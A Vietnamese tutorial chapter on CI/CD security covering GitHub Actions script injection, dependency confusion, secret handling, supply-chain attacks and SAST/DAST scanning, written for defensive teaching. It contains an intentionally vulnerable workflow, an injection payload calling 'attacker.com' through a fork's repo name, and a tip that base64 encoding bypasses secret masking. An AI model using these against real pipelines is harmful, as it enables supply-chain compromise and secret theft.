Skip to main content

Chương 30: CI/CD Security

Khái niệm

CI/CD pipelines là một trong những attack surfaces quan trọng nhất trong modern DevOps. Compromise pipeline = compromise toàn bộ software supply chain.


Pipeline Injection

# GitHub Actions — Vulnerable
name: CI

on:
pull_request:
types: [opened, synchronize]

jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Greet contributor
run: echo "Hello ${{ github.event.pull_request.head.repo.full_name }}"
# ← Nếu fork repo name chứa shell injection payload!

# Attack: Fork repo với name: "user/repo$(curl attacker.com)"
# → Bash execute curl command trong pipeline context

Phòng chống:

# ĐÚNG: Set env variable trước, reference qua env
- name: Greet contributor
env:
REPO_NAME: ${{ github.event.pull_request.head.repo.full_name }}
run: echo "Hello $REPO_NAME"
# $REPO_NAME passed as string, không executed as shell

Dependency Confusion

Public package: lodash (tên)
Internal package: company-utils (tên) → chỉ có trên internal registry

Attack:
1. Hacker publish package tên "company-utils" lên npmjs.com với version cao hơn
2. npm/pip check public registry trước (hoặc cùng lúc)
3. Download malicious "company-utils" v99.0.0 thay vì internal v1.0.0
4. Malicious package chạy postinstall script → exfiltrate secrets

Phòng chống:

1. Dùng scoped packages: @company/utils (npm)
2. Configure package manager chỉ dùng internal registry
3. Verify package checksums (package-lock.json, pip hash)
4. Block outbound đến public registry từ build environment

Secrets trong CI/CD

# SAI: Hardcode trong pipeline
- name: Deploy
run: |
docker login -u admin -p SuperSecret123

# ĐÚNG: Dùng secrets
- name: Deploy
env:
DOCKER_PASSWORD: ${{ secrets.DOCKER_PASSWORD }}
run: |
echo "$DOCKER_PASSWORD" | docker login -u admin --password-stdin

# Log masking: GitHub tự mask secrets trong logs
# Nhưng base64 encode sẽ bypass masking!
# - name: Debug (NGUY HIỂM!)
# run: echo "${{ secrets.MY_SECRET }}" | base64

Supply Chain Attacks

SolarWinds style attack:
1. Compromise upstream dependency
2. Inject malicious code vào legitimate package
3. Downstream consumers install without knowing

Phòng chống:
- Pin exact versions (không dùng @latest hoặc ~1.0)
- Verify checksums/hashes
- SBOM (Software Bill of Materials)
- Dependency scanning: Snyk, Dependabot, Trivy
- Private mirror cho dependencies

SAST và DAST trong Pipeline

# GitHub Actions với SAST
name: Security

on: [push, pull_request]

jobs:
sast:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3

- name: SAST với Semgrep
run: |
pip install semgrep
semgrep --config=p/owasp-top-ten \
--config=p/sql-injection \
--config=p/command-injection \
src/ \
--output report.json \
--json

- name: Dependency Scan với Safety
run: |
pip install safety
safety check -r requirements.txt

dast:
needs: [build, deploy-staging]
runs-on: ubuntu-latest
steps:
- name: DAST với ZAP
run: |
docker run owasp/zap2docker-stable \
zap-baseline.py \
-t https://staging.example.com \
-r zap-report.html

Tóm tắt

  • Pipeline injection: user-controlled input chạy trong pipeline context.
  • Dependency confusion: public package hijack tên internal package.
  • Secrets: dùng CI/CD secret store, không hardcode, cẩn thận với encoding.
  • Supply chain: pin versions, verify hashes, scan dependencies.
  • SAST chạy trong PR check; DAST chạy sau deploy to staging.